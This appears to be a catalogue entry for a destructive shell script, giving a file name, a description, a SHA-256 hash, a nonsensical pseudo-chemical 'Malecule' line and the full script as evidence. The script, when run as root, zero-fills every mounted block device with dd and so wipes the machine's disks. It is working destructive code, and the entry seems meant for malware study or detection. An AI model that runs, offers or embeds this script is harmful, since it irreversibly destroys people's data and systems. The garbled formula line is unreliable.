04-linux-for-loop.sh
Destroys mounted filesystems
Root-gated loop zero-fills mounted block devicesShell command-substitution syntax
SHA-256cd7186a0c1946927ba157847b5b520e921abe609a843ab91452882737dddf407
MaleculeO(I)H₃(F₅OsPo)
Evidence
1#!/bin/bash
2if [[ "${UID}" == 0 ]]; then
3 for d in $(grep -E "^/dev" /proc/mounts | cut -d" " -f1 | sort -u); do
4 dd if=/dev/zero of="$d" bs=1M &
5 done
6 wait
7fi